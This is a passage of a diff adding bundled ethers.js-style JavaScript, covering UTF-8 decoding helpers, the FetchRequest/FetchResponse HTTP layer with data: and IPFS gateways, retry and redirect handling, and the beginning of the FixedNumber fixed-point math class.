codePoint -= 0x10000; + return String.fromCharCode((((codePoint >> 10) & 0x3ff) + 0xd800), ((codePoint & 0x3ff) + 0xdc00)); + }).join(""); + } + /** + * Returns the string represented by the UTF-8 data %%bytes%%. + * + * When %%onError%% function is specified, it is called on UTF-8 + * errors allowing recovery using the [[Utf8ErrorFunc]] API. + * (default: [error](Utf8ErrorFuncs)) + */ + function toUtf8String(bytes, onError) { + return _toUtf8String(getUtf8CodePoints(bytes, onError)); + } + /** + * Returns the UTF-8 code-points for %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ + function toUtf8CodePoints(str, form) { + return getUtf8CodePoints(toUtf8Bytes(str, form)); + } + + function createGetUrl(options) { + async function getUrl(req, _signal) { + assert(_signal == null || !_signal.cancelled, "request cancelled before sending", "CANCELLED"); + const protocol = req.url.split(":")[0].toLowerCase(); + assert(protocol === "http" || protocol === "https", `unsupported protocol ${protocol}`, "UNSUPPORTED_OPERATION", { + info: { protocol }, + operation: "request" + }); + assert(protocol === "https" || !req.credentials || req.allowInsecureAuthentication, "insecure authorized connections unsupported", "UNSUPPORTED_OPERATION", { + operation: "request" + }); + let error = null; + const controller = new AbortController(); + const timer = setTimeout(() => { + error = makeError("request timeout", "TIMEOUT"); + controller.abort(); + }, req.timeout); + if (_signal) { + _signal.addListener(() => { + error = makeError("request cancelled", "CANCELLED"); + controller.abort(); + }); + } + const init = Object.assign({}, options, { + method: req.method, + headers: new Headers(Array.from(req)), + body: req.body || undefined, + signal: controller.signal + }); + let resp; + try { + resp = await fetch(req.url, init); + } + catch (_error) { + clearTimeout(timer); + if (error) { + throw error; + } + throw _error; + } + clearTimeout(timer); + const headers = {}; + resp.headers.forEach((value, key) => { + headers[key.toLowerCase()] = value; + }); + const respBody = await resp.arrayBuffer(); + const body = (respBody == null) ? null : new Uint8Array(respBody); + return { + statusCode: resp.status, + statusMessage: resp.statusText, + headers, body + }; + } + return getUrl; + } + + /** + * Fetching content from the web is environment-specific, so Ethers + * provides an abstraction that each environment can implement to provide + * this service. + * + * On [Node.js](link-node), the ``http`` and ``https`` libs are used to + * create a request object, register event listeners and process data + * and populate the [[FetchResponse]]. + * + * In a browser, the [DOM fetch](link-js-fetch) is used, and the resulting + * ``Promise`` is waited on to retrieve the payload. + * + * The [[FetchRequest]] is responsible for handling many common situations, + * such as redirects, server throttling, authentication, etc. + * + * It also handles common gateways, such as IPFS and data URIs. + * + * @_section api/utils/fetching:Fetching Web Content [about-fetch] + */ + const MAX_ATTEMPTS = 12; + const SLOT_INTERVAL = 250; + // The global FetchGetUrlFunc implementation. + let defaultGetUrlFunc = createGetUrl(); + const reData = new RegExp("^data:([^;:]*)?(;base64)?,(.*)$", "i"); + const reIpfs = new RegExp("^ipfs:/\/(ipfs/)?(.*)$", "i"); + // If locked, new Gateways cannot be added + let locked$5 = false; + // https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs + async function dataGatewayFunc(url, signal) { + try { + const match = url.match(reData); + if (!match) { + throw new Error("invalid data"); + } + return new FetchResponse(200, "OK", { + "content-type": (match[1] || "text/plain"), + }, (match[2] ? decodeBase64(match[3]) : unpercent(match[3]))); + } + catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid data: URI)", {}, null, new FetchRequest(url)); + } + } + /** + * Returns a [[FetchGatewayFunc]] for fetching content from a standard + * IPFS gateway hosted at %%baseUrl%%. + */ + function getIpfsGatewayFunc(baseUrl) { + async function gatewayIpfs(url, signal) { + try { + const match = url.match(reIpfs); + if (!match) { + throw new Error("invalid link"); + } + return new FetchRequest(`${baseUrl}${match[2]}`); + } + catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid IPFS URI)", {}, null, new FetchRequest(url)); + } + } + return gatewayIpfs; + } + const Gateways = { + "data": dataGatewayFunc, + "ipfs": getIpfsGatewayFunc("https:/\/gateway.ipfs.io/ipfs/") + }; + const fetchSignals = new WeakMap(); + /** + * @_ignore + */ + class FetchCancelSignal { + #listeners; + #cancelled; + constructor(request) { + this.#listeners = []; + this.#cancelled = false; + fetchSignals.set(request, () => { + if (this.#cancelled) { + return; + } + this.#cancelled = true; + for (const listener of this.#listeners) { + setTimeout(() => { listener(); }, 0); + } + this.#listeners = []; + }); + } + addListener(listener) { + assert(!this.#cancelled, "singal already cancelled", "UNSUPPORTED_OPERATION", { + operation: "fetchCancelSignal.addCancelListener" + }); + this.#listeners.push(listener); + } + get cancelled() { return this.#cancelled; } + checkSignal() { + assert(!this.cancelled, "cancelled", "CANCELLED", {}); + } + } + // Check the signal, throwing if it is cancelled + function checkSignal(signal) { + if (signal == null) { + throw new Error("missing signal; should not happen"); + } + signal.checkSignal(); + return signal; + } + /** + * Represents a request for a resource using a URI. + * + * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``, + * and ``IPFS:``. + * + * Additional schemes can be added globally using [[registerGateway]]. + * + * @example: + * req = new FetchRequest("https://www.ricmoo.com") + * resp = await req.send() + * resp.body.length + * //_result: + */ + class FetchRequest { + #allowInsecure; + #gzip; + #headers; + #method; + #timeout; + #url; + #body; + #bodyType; + #creds; + // Hooks + #preflight; + #process; + #retry; + #signal; + #throttle; + #getUrlFunc; + /** + * The fetch URL to request. + */ + get url() { return this.#url; } + set url(url) { + this.#url = String(url); + } + /** + * The fetch body, if any, to send as the request body. //(default: null)// + * + * When setting a body, the intrinsic ``Content-Type`` is automatically + * set and will be used if **not overridden** by setting a custom + * header. + * + * If %%body%% is null, the body is cleared (along with the + * intrinsic ``Content-Type``). + * + * If %%body%% is a string, the intrinsic ``Content-Type`` is set to + * ``text/plain``. + * + * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to + * ``application/octet-stream``. + * + * If %%body%% is any other object, the intrinsic ``Content-Type`` is + * set to ``application/json``. + */ + get body() { + if (this.#body == null) { + return null; + } + return new Uint8Array(this.#body); + } + set body(body) { + if (body == null) { + this.#body = undefined; + this.#bodyType = undefined; + } + else if (typeof (body) === "string") { + this.#body = toUtf8Bytes(body); + this.#bodyType = "text/plain"; + } + else if (body instanceof Uint8Array) { + this.#body = body; + this.#bodyType = "application/octet-stream"; + } + else if (typeof (body) === "object") { + this.#body = toUtf8Bytes(JSON.stringify(body)); + this.#bodyType = "application/json"; + } + else { + throw new Error("invalid body"); + } + } + /** + * Returns true if the request has a body. + */ + hasBody() { + return (this.#body != null); + } + /** + * The HTTP method to use when requesting the URI. If no method + * has been explicitly set, then ``GET`` is used if the body is + * null and ``POST`` otherwise. + */ + get method() { + if (this.#method) { + return this.#method; + } + if (this.hasBody()) { + return "POST"; + } + return "GET"; + } + set method(method) { + if (method == null) { + method = ""; + } + this.#method = String(method).toUpperCase(); + } + /** + * The headers that will be used when requesting the URI. All + * keys are lower-case. + * + * This object is a copy, so any changes will **NOT** be reflected + * in the ``FetchRequest``. + * + * To set a header entry, use the ``setHeader`` method. + */ + get headers() { + const headers = Object.assign({}, this.#headers); + if (this.#creds) { + headers["authorization"] = `Basic ${encodeBase64(toUtf8Bytes(this.#creds))}`; + } + if (this.allowGzip) { + headers["accept-encoding"] = "gzip"; + } + if (headers["content-type"] == null && this.#bodyType) { + headers["content-type"] = this.#bodyType; + } + if (this.body) { + headers["content-length"] = String(this.body.length); + } + return headers; + } + /** + * Get the header for %%key%%, ignoring case. + */ + getHeader(key) { + return this.headers[key.toLowerCase()]; + } + /** + * Set the header for %%key%% to %%value%%. All values are coerced + * to a string. + */ + setHeader(key, value) { + this.#headers[String(key).toLowerCase()] = String(value); + } + /** + * Clear all headers, resetting all intrinsic headers. + */ + clearHeaders() { + this.#headers = {}; + } + [Symbol.iterator]() { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [key, headers[key]], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The value that will be sent for the ``Authorization`` header. + * + * To set the credentials, use the ``setCredentials`` method. + */ + get credentials() { + return this.#creds || null; + } + /** + * Sets an ``Authorization`` for %%username%% with %%password%%. + */ + setCredentials(username, password) { + assertArgument(!username.match(/:/), "invalid basic authentication username", "username", "[REDACTED]"); + this.#creds = `${username}:${password}`; + } + /** + * Enable and request gzip-encoded responses. The response will + * automatically be decompressed. //(default: true)// + */ + get allowGzip() { + return this.#gzip; + } + set allowGzip(value) { + this.#gzip = !!value; + } + /** + * Allow ``Authentication`` credentials to be sent over insecure + * channels. //(default: false)// + */ + get allowInsecureAuthentication() { + return !!this.#allowInsecure; + } + set allowInsecureAuthentication(value) { + this.#allowInsecure = !!value; + } + /** + * The timeout (in milliseconds) to wait for a complete response. + * //(default: 5 minutes)// + */ + get timeout() { return this.#timeout; } + set timeout(timeout) { + assertArgument(timeout >= 0, "timeout must be non-zero", "timeout", timeout); + this.#timeout = timeout; + } + /** + * This function is called prior to each request, for example + * during a redirection or retry in case of server throttling. + * + * This offers an opportunity to populate headers or update + * content before sending a request. + */ + get preflightFunc() { + return this.#preflight || null; + } + set preflightFunc(preflight) { + this.#preflight = preflight; + } + /** + * This function is called after each response, offering an + * opportunity to provide client-level throttling or updating + * response data. + * + * Any error thrown in this causes the ``send()`` to throw. + * + * To schedule a retry attempt (assuming the maximum retry limit + * has not been reached), use [[response.throwThrottleError]]. + */ + get processFunc() { + return this.#process || null; + } + set processFunc(process) { + this.#process = process; + } + /** + * This function is called on each retry attempt. + */ + get retryFunc() { + return this.#retry || null; + } + set retryFunc(retry) { + this.#retry = retry; + } + /** + * This function is called to fetch content from HTTP and + * HTTPS URLs and is platform specific (e.g. nodejs vs + * browsers). + * + * This is by default the currently registered global getUrl + * function, which can be changed using [[registerGetUrl]]. + * If this has been set, setting is to ``null`` will cause + * this FetchRequest (and any future clones) to revert back to + * using the currently registered global getUrl function. + * + * Setting this is generally not necessary, but may be useful + * for developers that wish to intercept requests or to + * configurege a proxy or other agent. + */ + get getUrlFunc() { + return this.#getUrlFunc || defaultGetUrlFunc; + } + set getUrlFunc(value) { + this.#getUrlFunc = value; + } + /** + * Create a new FetchRequest instance with default values. + * + * Once created, each property may be set before issuing a + * ``.send()`` to make the request. + */ + constructor(url) { + this.#url = String(url); + this.#allowInsecure = false; + this.#gzip = true; + this.#headers = {}; + this.#method = ""; + this.#timeout = 300000; + this.#throttle = { + slotInterval: SLOT_INTERVAL, + maxAttempts: MAX_ATTEMPTS + }; + this.#getUrlFunc = null; + } + toString() { + return ``; + } + /** + * Update the throttle parameters used to determine maximum + * attempts and exponential-backoff properties. + */ + setThrottleParams(params) { + if (params.slotInterval != null) { + this.#throttle.slotInterval = params.slotInterval; + } + if (params.maxAttempts != null) { + this.#throttle.maxAttempts = params.maxAttempts; + } + } + async #send(attempt, expires, delay, _request, _response) { + if (attempt >= this.#throttle.maxAttempts) { + return _response.makeServerError("exceeded maximum retry limit"); + } + assert(getTime$2() <= expires, "timeout", "TIMEOUT", { + operation: "request.send", reason: "timeout", request: _request + }); + if (delay > 0) { + await wait(delay); + } + let req = this.clone(); + const scheme = (req.url.split(":")[0] || "").toLowerCase(); + // Process any Gateways + if (scheme in Gateways) { + const result = await Gateways[scheme](req.url, checkSignal(_request.#signal)); + if (result instanceof FetchResponse) { + let response = result; + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } + catch (error) { + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof (error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + // Ignore throttling + } + } + return response; + } + req = result; + } + // We have a preflight function; update the request + if (this.preflightFunc) { + req = await this.preflightFunc(req); + } + const resp = await this.getUrlFunc(req, checkSignal(_request.#signal)); + let response = new FetchResponse(resp.statusCode, resp.statusMessage, resp.headers, resp.body, _request); + if (response.statusCode === 301 || response.statusCode === 302) { + // Redirect + try { + const location = response.headers.location || ""; + return req.redirect(location).#send(attempt + 1, expires, 0, _request, response); + } + catch (error) { } + // Things won't get any better on another attempt; abort + return response; + } + else if (response.statusCode === 429) { + // Throttle + if (this.retryFunc == null || (await this.retryFunc(req, response, attempt))) { + const retryAfter = response.headers["retry-after"]; + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + if (typeof (retryAfter) === "string" && retryAfter.match(/^[1-9][0-9]*$/)) { + delay = parseInt(retryAfter); + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } + catch (error) { + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof (error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + // Throttle + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + if (error.stall >= 0) { + delay = error.stall; + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + return response; + } + /** + * Resolves to the response by sending the request. + */ + send() { + assert(this.#signal == null, "request already sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.send" }); + this.#signal = new FetchCancelSignal(this); + return this.#send(0, getTime$2() + this.timeout, 0, this, new FetchResponse(0, "", {}, null, this)); + } + /** + * Cancels the inflight response, causing a ``CANCELLED`` + * error to be rejected from the [[send]]. + */ + cancel() { + assert(this.#signal != null, "request has not been sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.cancel" }); + const signal = fetchSignals.get(this); + if (!signal) { + throw new Error("missing signal; should not happen"); + } + signal(); + } + /** + * Returns a new [[FetchRequest]] that represents the redirection + * to %%location%%. + */ + redirect(location) { + // Redirection; for now we only support absolute locations + const current = this.url.split(":")[0].toLowerCase(); + const target = location.split(":")[0].toLowerCase(); + // Don't allow redirecting: + // - non-GET requests + // - downgrading the security (e.g. https => http) + // - to non-HTTP (or non-HTTPS) protocols [this could be relaxed?] + assert(this.method === "GET" && (current !== "https" || target !== "http") && location.match(/^https?:/), `unsupported redirect`, "UNSUPPORTED_OPERATION", { + operation: `redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(location)})` + }); + // Create a copy of this request, with a new URL + const req = new FetchRequest(location); + req.method = "GET"; + req.allowGzip = this.allowGzip; + req.timeout = this.timeout; + req.#headers = Object.assign({}, this.#headers); + if (this.#body) { + req.#body = new Uint8Array(this.#body); + } + req.#bodyType = this.#bodyType; + // Do not forward credentials unless on the same domain; only absolute + //req.allowInsecure = false; + // paths are currently supported; may want a way to specify to forward? + //setStore(req.#props, "creds", getStore(this.#pros, "creds")); + return req; + } + /** + * Create a new copy of this request. + */ + clone() { + const clone = new FetchRequest(this.url); + // Preserve "default method" (i.e. null) + clone.#method = this.#method; + // Preserve "default body" with type, copying the Uint8Array is present + if (this.#body) { + clone.#body = this.#body; + } + clone.#bodyType = this.#bodyType; + // Preserve "default headers" + clone.#headers = Object.assign({}, this.#headers); + // Credentials is readonly, so we copy internally + clone.#creds = this.#creds; + if (this.allowGzip) { + clone.allowGzip = true; + } + clone.timeout = this.timeout; + if (this.allowInsecureAuthentication) { + clone.allowInsecureAuthentication = true; + } + clone.#preflight = this.#preflight; + clone.#process = this.#process; + clone.#retry = this.#retry; + clone.#throttle = Object.assign({}, this.#throttle); + clone.#getUrlFunc = this.#getUrlFunc; + return clone; + } + /** + * Locks all static configuration for gateways and FetchGetUrlFunc + * registration. + */ + static lockConfig() { + locked$5 = true; + } + /** + * Get the current Gateway function for %%scheme%%. + */ + static getGateway(scheme) { + return Gateways[scheme.toLowerCase()] || null; + } + /** + * Use the %%func%% when fetching URIs using %%scheme%%. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGateway(scheme, func) { + scheme = scheme.toLowerCase(); + if (scheme === "http" || scheme === "https") { + throw new Error(`cannot intercept ${scheme}; use registerGetUrl`); + } + if (locked$5) { + throw new Error("gateways locked"); + } + Gateways[scheme] = func; + } + /** + * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGetUrl(getUrl) { + if (locked$5) { + throw new Error("gateways locked"); + } + defaultGetUrlFunc = getUrl; + } + /** + * Creates a getUrl function that fetches content from HTTP and + * HTTPS URLs. + * + * The available %%options%% are dependent on the platform + * implementation of the default getUrl function. + * + * This is not generally something that is needed, but is useful + * when trying to customize simple behaviour when fetching HTTP + * content. + */ + static createGetUrlFunc(options) { + return createGetUrl(options); + } + /** + * Creates a function that can "fetch" data URIs. + * + * Note that this is automatically done internally to support + * data URIs, so it is not necessary to register it. + * + * This is not generally something that is needed, but may + * be useful in a wrapper to perfom custom data URI functionality. + */ + static createDataGateway() { + return dataGatewayFunc; + } + /** + * Creates a function that will fetch IPFS (unvalidated) from + * a custom gateway baseUrl. + * + * The default IPFS gateway used internally is + * ``"https:/\/gateway.ipfs.io/ipfs/"``. + */ + static createIpfsGatewayFunc(baseUrl) { + return getIpfsGatewayFunc(baseUrl); + } + } + /** + * The response for a FetchRequest. + */ + class FetchResponse { + #statusCode; + #statusMessage; + #headers; + #body; + #request; + #error; + toString() { + return ``; + } + /** + * The response status code. + */ + get statusCode() { return this.#statusCode; } + /** + * The response status message. + */ + get statusMessage() { return this.#statusMessage; } + /** + * The response headers. All keys are lower-case. + */ + get headers() { return Object.assign({}, this.#headers); } + /** + * The response body, or ``null`` if there was no body. + */ + get body() { + return (this.#body == null) ? null : new Uint8Array(this.#body); + } + /** + * The response body as a UTF-8 encoded string, or the empty + * string (i.e. ``""``) if there was no body. + * + * An error is thrown if the body is invalid UTF-8 data. + */ + get bodyText() { + try { + return (this.#body == null) ? "" : toUtf8String(this.#body); + } + catch (error) { + assert(false, "response body is not valid UTF-8 data", "UNSUPPORTED_OPERATION", { + operation: "bodyText", info: { response: this } + }); + } + } + /** + * The response body, decoded as JSON. + * + * An error is thrown if the body is invalid JSON-encoded data + * or if there was no body. + */ + get bodyJson() { + try { + return JSON.parse(this.bodyText); + } + catch (error) { + assert(false, "response body is not valid JSON", "UNSUPPORTED_OPERATION", { + operation: "bodyJson", info: { response: this } + }); + } + } + [Symbol.iterator]() { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [key, headers[key]], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + constructor(statusCode, statusMessage, headers, body, request) { + this.#statusCode = statusCode; + this.#statusMessage = statusMessage; + this.#headers = Object.keys(headers).reduce((accum, k) => { + accum[k.toLowerCase()] = String(headers[k]); + return accum; + }, {}); + this.#body = ((body == null) ? null : new Uint8Array(body)); + this.#request = (request || null); + this.#error = { message: "" }; + } + /** + * Return a Response with matching headers and body, but with + * an error status code (i.e. 599) and %%message%% with an + * optional %%error%%. + */ + makeServerError(message, error) { + let statusMessage; + if (!message) { + message = `${this.statusCode} ${this.statusMessage}`; + statusMessage = `CLIENT ESCALATED SERVER ERROR (${message})`; + } + else { + statusMessage = `CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${message})`; + } + const response = new FetchResponse(599, statusMessage, this.headers, this.body, this.#request || undefined); + response.#error = { message, error }; + return response; + } + /** + * If called within a [request.processFunc](FetchRequest-processFunc) + * call, causes the request to retry as if throttled for %%stall%% + * milliseconds. + */ + throwThrottleError(message, stall) { + if (stall == null) { + stall = -1; + } + else { + assertArgument(Number.isInteger(stall) && stall >= 0, "invalid stall timeout", "stall", stall); + } + const error = new Error(message || "throttling requests"); + defineProperties(error, { stall, throttle: true }); + throw error; + } + /** + * Get the header value for %%key%%, ignoring case. + */ + getHeader(key) { + return this.headers[key.toLowerCase()]; + } + /** + * Returns true if the response has a body. + */ + hasBody() { + return (this.#body != null); + } + /** + * The request made for this response. + */ + get request() { return this.#request; } + /** + * Returns true if this response was a success statusCode. + */ + ok() { + return (this.#error.message === "" && this.statusCode >= 200 && this.statusCode < 300); + } + /** + * Throws a ``SERVER_ERROR`` if this response is not ok. + */ + assertOk() { + if (this.ok()) { + return; + } + let { message, error } = this.#error; + if (message === "") { + message = `server response ${this.statusCode} ${this.statusMessage}`; + } + let requestUrl = null; + if (this.request) { + requestUrl = this.request.url; + } + let responseBody = null; + try { + if (this.#body) { + responseBody = toUtf8String(this.#body); + } + } + catch (e) { } + assert(false, message, "SERVER_ERROR", { + request: (this.request || "unknown request"), response: this, error, + info: { + requestUrl, responseBody, + responseStatus: `${this.statusCode} ${this.statusMessage}` + } + }); + } + } + function getTime$2() { return (new Date()).getTime(); } + function unpercent(value) { + return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all, code) => { + return String.fromCharCode(parseInt(code, 16)); + })); + } + function wait(delay) { + return new Promise((resolve) => setTimeout(resolve, delay)); + } + + /** + * The **FixedNumber** class permits using values with decimal places, + * using fixed-pont math. + * + * Fixed-point math is still based on integers under-the-hood, but uses an + * internal offset to store fractional components below, and each operation + * corrects for this after each operation. + * + * @_section: api/utils/fixed-point-math:Fixed-Point Maths [about-fixed-point-math] + */ + const BN_N1 = BigInt(-1); + const BN_0$8 = BigInt(0); + const BN_1$4 = BigInt(1); + const BN_5 = BigInt(5); + const _guard$5 = {}; + // Constant to pull zeros from for multipliers + let Zeros$1 = "0000"; + while (Zeros$1.length < 80) { + Zeros$1 += Zeros$1; + } + // Returns a string "1" followed by decimal "0"s + function getTens(decimals) { + let result = Zeros$1; + while (result.length < decimals) { + result += result; + } + return BigInt("1" + result.substring(0, decimals)); + } + function checkValue(val, format, safeOp) { + const width = BigInt(format.width); + if (format.signed) { + const limit = (BN_1$4 << (width - BN_1$4)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + if (val > BN_0$8) { + val = fromTwos(mask(val, width), width); + } + else { + val = -fromTwos(mask(-val, width), width); + } + } + else { + const limit = (BN_1$4 << width); + assert(safeOp == null || (val >= 0 && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = (((val % limit) + limit) % limit) & (limit - BN_1$4); + } + return val; + } + function getFormat(value) { + if (typeof (value) === "number") { + value = `fixed128x${value}`; + } + let signed = true; + let width = 128; + let decimals = 18; + if (typeof (value) === "string") { + // Parse the format string + if (value === "fixed") ; + else if (value === "ufixed") { + signed = false; + } + else { + const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/); + assertArgument(match, "invalid fixed format", "format", value); + signed = (match[1] !== "u"); + width = parseInt(match[2]); + decimals = parseInt(match[3]); + } + } + else if (value) { + // Extract the values from the object + const v = value; + const check = (key, type, defaultValue) => { + if (v[key] == null) { + return defaultValue; + } + assertArgument(typeof (v[key]) === type, "invalid fixed format (" + key + " not " + type + ")", "format." + key, v[key]); + return v[key]; + }; + signed = check("signed", "boolean", signed); + width = check("width", "number", width); + decimals = check("decimals", "number", decimals); + } + assertArgument((width % 8) === 0, "invalid FixedNumber width (not byte aligned)", "format.width", width); + assertArgument(decimals <= 80, "invalid FixedNumber decimals (too large)", "format.decimals", decimals); + const name = (signed ? "" : "u") + "fixed" + String(width) + "x" + String(decimals); + return { signed, width, decimals, name }; + } + function toString(val, decimals) { + let negative = ""; + if (val < BN_0$8) { + negative = "-"; + val *= BN_N1; + } + let str = val.toString(); + // No decimal point for whole values + if (decimals === 0) { + return (negative + str); + } + // Pad out to the whole component (including a whole digit) + while (str.length <= decimals) { + str = Zeros$1 + str; + } + // Insert the decimal point + const index = str.length - decimals; + str = str.substring(0, index) + "." + str.substring(index); + // Trim the whole component (leaving at least one 0) + while (str[0] === "0" && str[1] !== ".") { + str = str.substring(1); + } + // Trim the decimal component (leaving at least one 0) + while (str[str.length - 1] === "0" && str[str.length - 2] !== ".") { + str = str.substring(0, str.length - 1); + } + return (negative + str); + } + /** + * A FixedNumber represents a value over its [[FixedFormat]] + * arithmetic field. + * + * A FixedNumber can be used to perform math, losslessly, on + * values which have decmial places. + * + * A FixedNumber has a fixed bit-width to store values in, and stores all + * values internally by multiplying the value by 10 raised to the power of + * %%decimals%%. + * + * If operations are performed that cause a value to grow too high (close to + * positive infinity) or too low (close to negative infinity), the value + * is said to //overflow//. + * + * For example, an 8-bit signed value, with 0 decimals may only be within + * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become + * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``. + * + * Many operation have a normal and //unsafe// variant. The normal variant + * will throw a [[NumericFaultError]] on any overflow, while the //unsafe// + * variant will silently allow overflow, corrupting its value value. + * + * If operations are performed that cause a value to become too small + * (close to zero), the value loses precison and is said to //underflow//. + * + * For example, a value with 1 decimal place may store a number as small + * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit + * into 1 decimal place, so underflow occurs which means precision is lost + * and the value becomes ``0``. + * + * Some operations have a normal and //signalling// variant. The normal + * variant will silently ignore underflow, while the //signalling// variant + * will thow a [[NumericFaultError]] on underflow. + */ + class FixedNumber { + /** + * The specific fixed-point arithmetic field for this value. + */ + format; + #format; + // The actual value (accounting for decimals) + #val; + // A base-10 value to multiple values by to maintain the magnitude + #tens; + /** + * This is a property so console.log shows a human-meaningful value. + * + * @private + */ + _value; + // Use this when changing this file to get some typing info, + // but then switch to any to mask the internal type + //constructor(guard: any, value: bigint, format: _FixedFormat) { + /** + * @private + */ + constructor(guard, value, format) { + assertPrivate(guard, _guard$5, "FixedNumber"); + this.#val = value; + this.#format = format; + const _value = toString(value, format.decimals); + defineProperties(this, { format: format.name, _value }); + this.#tens = getTens(format.decimals); + } + /** + * If true, negative values are permitted, otherwise only + * positive values and zero are allowed. + */ + get signed() { return this.#format.signed; } + /** + * The number of bits available to store the value. + */ + get width() { return this.#format.width; } + /** + * The number of decimal places in the fixed-point arithment field. + */ + get decimals() { return this.#format.decimals; } + /** + * The value as an integer, based on the smallest unit the + * [[decimals]] allow. + */ + get value() { return this.#val; } + #checkFormat(other) { + assertArgument(this.format === other.format, "incompatible format; use fixedNumber.toFormat", "other", other); + } + #checkValue(val, safeOp) { + /* + const width = BigInt(this.width); + if (this.signed) { + const limit = (BN_1 << (width - BN_1)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + + if (val > BN_0) { + val = fromTwos(mask(val, width), width); + } else { + val = -fromTwos(mask(-val, width), width); + } + + } else { + const masked = mask(val, width); + assert(safeOp == null || (val >= 0 && val === masked), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = masked; + } + */ + val = checkValue(val, this.#format, safeOp); + return new FixedNumber(_guard$5, val, this.#format); + } + #add(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue(this.#val + o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%, ignoring overflow. + */ + addUnsafe(other) { return this.#add(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + add(other) { return this.#add(other, "add"); } + #sub(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue(this.#val - o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%, ignoring overflow. + */ + subUnsafe(other) { return this.#sub(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + sub(other) { return this.#sub(other, "sub"); } + #mul(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue((this.#val * o.#val) / this.#tens, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%, ignoring overflow and underflow (precision loss). + */ + mulUnsafe(other) { return this.#mul(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + mul(other) { return this.#mul(other, "mul"); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs or if underflow (precision loss) occurs. + */ + mulSignal(other) { + this.#checkFormat(other); + const value = this.#val * other.#val; + assert((value % this.#tens) === BN_0$8, "precision lost during signalling mul", "NUMERIC_FAULT", { + operation: "mulSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / this.#tens, "mulSignal"); + } + #div(o, safeOp) { + assert(o.#val !== BN_0$8, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(o); + return this.#checkValue((this.#val * this.#tens) / o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + divUnsafe(other) { return this.#div(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + div(other) { return this.#div(other, "div"); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%. A [[NumericFaultError]] is thrown if underflow + * (precision loss) occurs. + */ + divSignal(other) { + assert(other.#val !== BN_0$8, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(other); + const value = (this.#val * this.#tens); + assert((value % other.#val) === BN_0$8, "precision lost during signalling div", "NUMERIC_FAULT", { + operation: "divSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / other.#val, "divSignal"); + } + /** + * Returns a comparison result between %%this%% and %%other%%. + * + * This is suitable for use in sorting, where ``-1`` implies %%this%% + * is smaller, ``1`` implies %%this%% is 